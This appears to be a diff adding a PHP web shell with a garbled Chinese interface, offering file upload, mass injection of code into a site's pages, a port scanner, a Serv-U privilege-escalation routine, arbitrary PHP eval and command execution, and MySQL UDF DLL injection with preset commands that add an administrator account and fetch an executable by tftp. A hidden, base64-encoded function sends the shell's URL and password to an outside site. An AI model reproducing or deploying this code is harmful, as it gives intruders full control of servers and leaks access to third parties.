    '); + if($_POST['upfiles']){ + foreach ($_FILES["upfile"]["error"] as $key => $error){ + if ($error == UPLOAD_ERR_OK){ + $tmp_name = $_FILES["upfile"]["tmp_name"][$key]; + $name = $_FILES["upfile"]["name"][$key]; + $uploadfile = str_path($_POST['uppath'].'/'.$name); + $upload = @copy($tmp_name,$uploadfile) ? $name.$msg[2] : @move_uploaded_file($tmp_name,$uploadfile) ? $name.$msg[2] : $name.$msg[3]; + echo '

    '.$upload; + } + } + } + html_n(''); + break; + + case "guama": + $patht = isset($_POST['path']) ? $_POST['path'] : root_dir; + $typet = isset($_POST['type']) ? $_POST['type'] : ".html|.shtml|.htm|.asp|.php|.jsp|.cgi|.aspx"; + $codet = isset($_POST['code']) ? $_POST['code'] : ""; + html_n('
    ļ"|",Ҳָļ.

    '); + html_input("text","path",$patht,"·Χ","45"); + html_input("checkbox","pass","","ʹĿ¼","",true); + html_input("text","type",$typet,"

    ļ","60"); + html_text("code","67","5",$codet); + html_n('

    '); + html_radio("","","guama","qingma"); + html_input("submit","passreturn","ʼ"); + html_n('
    Ŀļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($patht,$codet,$_POST['return'],$bool,$typet); + } + break; + + case "tihuan": + html_n('
    ˹ܿ滻ļ,Сʹ.

    '); + html_input("text","path",root_dir,"·Χ","45"); + html_input("checkbox","pass","","ʹĿ¼","",true); + html_text("newcode","67","5",$_POST['newcode']); + html_n('

    滻Ϊ'); + html_text("oldcode","67","5",$_POST['oldcode']); + html_input("submit","passreturn","滻","

    "); + html_n('
    Ŀļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['newcode'],"tihuan",$bool,$_POST['oldcode']); + } + break; + + case "scanfile": + css_js("4"); + html_n('
    ˹ܿɺܷMYSQLûļ,Ȩ.
    ļ̫ʱ,Ӱִٶ,ʹĿ¼.

    '); + html_input("text","path",root_dir,"·","45"); + html_input("checkbox","pass","","ʹĿ¼","",true); + html_input("text","code",$_POST['code'],"

    ؼ","40"); + html_select(array("--MYSQLļ--","Discuz","PHPWind","phpcms","dedecms","PHPBB","wordpress","sa-blog","o-blog"),0,"onchange='return Fulll(options[selectedIndex].value)'"); + html_n('

    '); + html_radio("ļ","","scanfile","scancode"); + html_input("submit","passreturn",""); + html_n('
    ҵļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['code'],$_POST['return'],$bool); + } + break; + + case "scanphp": + html_n('
    ԭǸ붨,鿴жϺٽɾ.

    '); + html_input("text","path",root_dir,"ҷΧ","40"); + html_input("checkbox","pass","","ʹĿ¼

    ű","",true); + html_select(array("php" => "PHP","asp" => "ASP","aspx" => "ASPX","jsp" => "JSP")); + html_input("submit","passreturn","","

    "); + html_n('
    ҵļ:

    '); + if(isset($_POST['pass'])) $bool = true; else $bool = false; + do_passreturn($_POST['path'],$_POST['class'],"scanphp",$bool); + } + break; + + case "port": + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958|5631'; +print<< +
    ɨIP
    +
    ˿ں
    +
    + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
    '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2); + echo $fp ? 'Ŷ˿ ---> '.$ports[$i].'
    ' : 'رն˿ ---> '.$ports[$i].'
    '; + ob_flush(); + flush(); + } + echo '
    '; + } + break; + + + case "getcode": +if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "

    ȡ URL ʧ

    ";exit;} +print<< +
    +
    ߴ

    • ñܽʵּ򵥵 HTTP ,ʾʹ·ͼƬӼCSSʽ.
    • ñܿͨĿURL,֧ SQL Injection ̽ԼijЩַ.
    • ñ URL,ĿµIP¼ : {$_SERVER['SERVER_NAME']}
    URL: + +
    +END; + break; + + case "servu": + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[ִ] [û]
    +
    +
    ServU˿
    +
    ServUû
    +
    ServU
    +END; +if($_GET['o'] == 'adduser') +{ +print<<ʺ + +Ŀ¼ +END; +} +else +{ +print<<Ȩ
    + + + +END; +} +echo '
    '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
    '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"],$errno,$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21",$errno,$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "ݰ: site exec ".$_POST["SUCommand"]."
    "; + $recvbuf = @fgets($exp, 1024); + echo "ݰ: $recvbuf
    "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "ݰ: $sendbuf
    "; + $recvbuf = @fgets($sock, 1024); + echo "ݰ: $recvbuf
    "; + @fclose($exp); + } + @fclose($sock); + echo '
    '; + } + break; + + case "eval": + $phpcode = isset($_POST['phpcode']) ? $_POST['phpcode'] : "phpinfo();"; + html_n('
    д<? ?>ǩ'); + html_text("phpcode","70","15",$phpcode); + html_input("submit","eval","ִ","

    "); + if(!empty($_POST['eval'])){ + echo "

    "; + eval(stripslashes($phpcode)); + } + html_n('
    '); + break; + + case "myexp": + $MSG_BOX = 'ȵDLL,ִ.MYSQLûΪrootȨ,·ܼDLLļ.'; + $info = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Envl_Temp_Tab (envl BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Envl_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT envl FROM Envl_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? 'װDLLɹ' : 'װDLLʧ'; + } + else $MSG_BOX = 'DLLļʧ'; + } + else $MSG_BOX = 'дʱʧ'; + @mysql_query('DROP TABLE Envl_Temp_Tab;',$conn); + } + else $MSG_BOX = 'ʱʧ'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = 'ִгɹ'; + } + else $MSG_BOX = 'ִʧ'; + } + } + else $MSG_BOX = 'MYSQLʧ'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user envl envl /add"; + Str[2] = "net localgroup administrators envl /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "tasklist /svc"; + Str[5] = "netstat -ano"; + Str[6] = "ipconfig"; + Str[7] = "net user guest /active:yes"; + Str[8] = "copy c:\\\\1.php d:\\\\2.php"; + Str[9] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[10] = "net start telnet"; + Str[11] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
    +
    {$MSG_BOX}
    +
    +˿ + + +
    +ɼ· +
    +
    װɹ
    + + + +
    +
    +END; + break; + + + case "mysql_exec": + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_eanverhost',$_POST['mhost'],$cookietime); + setcookie('m_eanverport',$_POST['mport'],$cookietime); + setcookie('m_eanveruser',$_POST['muser'],$cookietime); + setcookie('m_eanverpass',$_POST['mpass'],$cookietime); + die('ڵ½,Ժ...'); + } + } +print<< +
    ַ
    +
    ˿
    +
    û
    +
    +
    + +END; +break; + +case "mysql_msg": + $conn = @mysql_connect($_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'],$_COOKIE['m_eanveruser'],$_COOKIE['m_eanverpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "ȷҪɾ[" + unescape(msg) + "]?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (eanver BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = 'û:'.$_COOKIE['m_eanveruser'].'      ַ:'.$_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'].'      汾:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
    ݿ:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
    '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? 'ִгɹ' : 'ִʧ '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? 'ӳɹ' : 'ʧ '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '޸ijɹ' : '޸ʧ '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? 'ɾɹ' : 'ɾʧ '.mysql_error(); + } + $action = '?eanver=mysql_msg&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? 'ɾɹ' : 'ɾʧ '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
    '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
    '; + echo '
    '.$MSG_BOX.'
    '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[]
    '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
    '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
    '.$var.' '.$type.'('.$len.')
    '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
    '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $pagesize=20; + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + $numrows=$row_num; + $pages=intval($numrows/$pagesize); + if ($numrows%$pagesize) $pages++; + $offset=$pagesize*($page - 1); + $page=$_GET['p']; + if(!$page) $page=1; + + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
    '.$row['Field'].'
    ޸ '; + echo ' ɾ '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
    '; + $pagep=$page-1; + $pagen=$page+1; + echo " ".$row_num." ¼ "; + if($pagep>0) $pagenav.=" ҳ һҳ "; else $pagenav.=" һҳ "; + if($pagen<=$pages) $pagenav.=" һҳ βҳ"; else $pagenav.=" һҳ "; + $pagenav.=" [".$page."/".$pages."] ҳ ҳ"; + echo $pagenav; + echo '
    '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
    '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
    '.$name.' '.$type.'('.$len.')
    '; + } + echo '
    '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + $charset=substr($statucoll[$k],0,strpos($statucoll[$k],'_')); + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
    ַ С
    '.$table[0].' ɾ '.$statucoll[$k].''.File_Size($statusize[$k]).'
    '; + } + } + } + else die('MYSQLʧ,µ½.'); + if(!$BOOL and addslashes($query)!='') echo ''; +break; + + + default: html_main($path,$shellname); break; +} +css_foot(); + +/*---doing---*/ + +function do_write($file,$t,$text) +{ + $key = true; + $handle = @fopen($file,$t); + if(!@fwrite($handle,$text)) + { + @chmod($file,0666); + $key = @fwrite($handle,$text) ? true : false; + } + @fclose($handle); + return $key; +} + +function do_show($filepath){ + $show = array(); + $dir = dir($filepath); + while($file = $dir->read()){ + if($file == '.' or $file == '..') continue; + $files = str_path($filepath.'/'.$file); + $show[] = $files; + } + $dir->close(); + return $show; +} + +function do_deltree($deldir){ + $showfile = do_show($deldir); + foreach($showfile as $del){ + if(is_dir($del)){ + if(!do_deltree($del)) return false; + }elseif(!is_dir($del)){ + @chmod($del,0777); + if(!@unlink($del)) return false; + } + } + @chmod($deldir,0777); + if(!@rmdir($deldir)) return false; + return true; +} + +function do_showsql($query,$conn){ + $result = @mysql_query($query,$conn); + html_n('

    '); +} + +function hmlogin($xiao=1){ + @set_time_limit(10); + $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; + $serverp = envlpass; + $copyurl = base64_decode('aHR0cDovL3d3dy50cm95cGxhbi5jb20vcC5hc3B4P249'); + $url=$copyurl.$serveru.'&p='.$serverp; + $url=urldecode($url); + $re=file_get_contents($url); + +$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; +$serverp = envlpass; +if (strpos($serveru,"0.0")>0 or strpos($serveru,"192.168.")>0 or strpos($serveru,"localhost")>0 or ($serveru==$_COOKIE['serveru'] and $serverp==$_COOKIE['serverp'])) {echo "";} else {setcookie('serveru',$serveru);setcookie('serverp',$serverp);if($xiao==1){echo "";}else{geturl();}} +} + +function do_down($fd){ + if(!@file_exists($fd)) msg('ļ'); + $fileinfo = pathinfo($fd); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($fd)); + @readfile($fd); + exit; +} + +function do_download($filecode,$file){ + header("Content-type: application/unknown"); + header('Accept-Ranges: bytes'); + header("Content-length: ".strlen($filecode)); + header("Content-disposition: attachment; filename=".$file.";"); + echo $filecode; + exit; +} + +function TestUtf8($text) +{if(strlen($text) < 3) return false; +$lastch = 0; +$begin = 0; +$BOM = true; +$BOMchs = array(0xEF, 0xBB, 0xBF); +$good = 0; +$bad = 0; +$notAscii = 0; +for($i=0; $i < strlen($text); $i++) +{$ch = ord($text[$i]); +if($begin < 3) +{ $BOM = ($BOMchs[$begin]==$ch); +$begin += 1; +continue; } +if($begin==4 && $BOM) break; +if($ch >= 0x80 ) $notAscii++; +if( ($ch&0xC0) == 0x80 ) +{if( ($lastch&0xC0) == 0xC0 ) +{$good += 1;} +else if( ($lastch&0x80) == 0 ) +{$bad += 1; }} +else if( ($lastch&0xC0) == 0xC0 ) +{$bad += 1;} +$lastch = $ch;} +if($begin == 4 && $BOM) +{return 2;} +else if($notAscii==0) +{return 1;} +else if ($good >= $bad ) +{return 2;} +else +{return 0;}} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Size($size) +{ + $kb = 1024; // Kilobyte + $mb = 1024 * $kb; // Megabyte + $gb = 1024 * $mb; // Gigabyte + $tb = 1024 * $gb; // Terabyte + if($size < $kb) + { + return $size." B"; + } + else if($size < $mb) + { + return round($size/$kb,2)." K"; + } + else if($size < $gb) + { + return round($size/$mb,2)." M"; + } + else if($size < $tb) + { + return round($size/$gb,2)." G"; + } + else + { + return round($size/$tb,2)." T"; + } + } + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} + +function do_phpfun($cmd,$fun) { + $res = ''; + switch($fun){ + case "exec": @exec($cmd,$res); $res = join("\n",$res); break; + case "shell_exec": $res = @shell_exec($cmd); break; + case "system": @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean();break; + case "passthru": @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean();break; + case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f)) $res .= @fread($f,1024);} @pclose($f);break; + } + return $res; +} + +function do_passreturn($dir,$code,$type,$bool,$filetype = '',$shell = my_shell){ + $show = do_show($dir); + foreach($show as $files){ + if(is_dir($files) && $bool){ + do_passreturn($files,$code,$type,$bool,$filetype,$shell); + }else{ + if($files == $shell) continue; + switch($type){ + case "guama": + if(debug($files,$filetype)){ + do_write($files,"ab","\n".$code) ? html_n("ɹ--> $files
    ") : html_n("ʧ--> $files
    "); + } + break; + case "qingma": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + $newcode = str_replace($code,'',$filecode); + do_write($files,"wb",$newcode) ? html_n("ɹ--> $files
    ") : html_n("ʧ--> $files
    "); + } + break; + case "tihuan": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + $newcode = str_replace($code,$filetype,$filecode); + do_write($files,"wb",$newcode) ? html_n("ɹ--> $files
    ") : html_n("ʧ--> $files
    "); + } + break; + case "scanfile": + $file = explode('/',$files); + if(stristr($file[count($file)-1],$code)){ + html_a("?eanver=editr&p=$files",$files); + echo '
    '; + } + break; + case "scancode": + $filecode = @file_get_contents($files); + if(stristr($filecode,$code)){ + html_a("?eanver=editr&p=$files",$files); + echo '
    '; + } + break; + case "scanphp": + $fileinfo = pathinfo($files); + if($fileinfo['extension'] == $code){ + $filecode = @file_get_contents($files); + if(muma($filecode,$code)){ + html_a("?eanver=editr&p=".urlencode($files),"༭"); + html_a("?eanver=del&p=".urlencode($files),"ɾ"); + echo $files.'
    '; + } + } + break; + } + } + } +} + + +class PHPzip{ + + var $file_count = 0 ; + var $datastr_len = 0; + var $dirstr_len = 0; + var $filedata = ''; + var $gzfilename; + var $fp; + var $dirstr=''; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function startfile($path = 'QQqun555227.zip'){ + $this->gzfilename=$path; + $mypathdir=array(); + do{ + $mypathdir[] = $path = dirname($path); + }while($path != '.'); + @end($mypathdir); + do{ + $path = @current($mypathdir); + @mkdir($path); + }while(@prev($mypathdir)); + + if($this->fp=@fopen($this->gzfilename,"w")){ + return true; + } + return false; + } + + function addfile($data, $name){ + $name = str_replace('\\', '/', $name); + + if(strrchr($name,'/')=='/') return $this->adddir($name); + + $dtime = dechex($this->unix2DosTime()); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + + $datastr = "\x50\x4b\x03\x04"; + $datastr .= "\x14\x00"; + $datastr .= "\x00\x00"; + $datastr .= "\x08\x00"; + $datastr .= $hexdtime; + $datastr .= pack('V', $crc); + $datastr .= pack('V', $c_len); + $datastr .= pack('V', $unc_len); + $datastr .= pack('v', strlen($name)); + $datastr .= pack('v', 0); + $datastr .= $name; + $datastr .= $zdata; + $datastr .= pack('V', $crc); + $datastr .= pack('V', $c_len); + $datastr .= pack('V', $unc_len); + + + fwrite($this->fp,$datastr); + $my_datastr_len = strlen($datastr); + unset($datastr); + + $dirstr = "\x50\x4b\x01\x02"; + $dirstr .= "\x00\x00"; + $dirstr .= "\x14\x00"; + $dirstr .= "\x00\x00"; + $dirstr .= "\x08\x00"; + $dirstr .= $hexdtime; + $dirstr .= pack('V', $crc); + $dirstr .= pack('V', $c_len); + $dirstr .= pack('V', $unc_len); // uncompressed filesize + $dirstr .= pack('v', strlen($name) ); // length of filename + $dirstr .= pack('v', 0 ); // extra field length + $dirstr .= pack('v', 0 ); // file comment length + $dirstr .= pack('v', 0 ); // disk number start + $dirstr .= pack('v', 0 ); // internal file attributes + $dirstr .= pack('V', 32 ); // external file attributes - 'archive' bit set + $dirstr .= pack('V',$this->datastr_len ); // relative offset of local header + $dirstr .= $name; + + $this->dirstr .= $dirstr; //Ŀ¼Ϣ + + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function adddir($name){ + $name = str_replace("\\", "/", $name); + $datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + $datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $datastr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); + + fwrite($this->fp,$datastr); //дµļ + $my_datastr_len = strlen($datastr); + unset($datastr); + + $dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); + $dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name; + + $this->dirstr .= $dirstr; //Ŀ¼Ϣ + + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + + function createfile(){ + //ѹϢ,ļ,Ŀ¼ϢȡָλõϢ + $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" . + pack('v', $this -> file_count) . + pack('v', $this -> file_count) . + pack('V', $this -> dirstr_len) . + pack('V', $this -> datastr_len) . + "\x00\x00"; + + fwrite($this->fp,$this->dirstr.$endstr); + fclose($this->fp); + } + } + +function File_Act($array,$actall,$inver,$REAL_DIR) +{ + if(($count = count($array)) == 0) return 'ѡļ'; + if($actall == 'e') + { + function listfiles($dir=".",$faisunZIP,$mydir){ + $sub_file_num = 0; + if(is_file($mydir."$dir")){ + if(realpath($faisunZIP ->gzfilename)!=realpath($mydir."$dir")){ + $faisunZIP -> addfile(file_get_contents($mydir.$dir),"$dir"); + return 1; + } + return 0; + } + + $handle=opendir($mydir."$dir"); + while ($file = readdir($handle)) { + if($file=="."||$file=="..")continue; + if(is_dir($mydir."$dir/$file")){ + 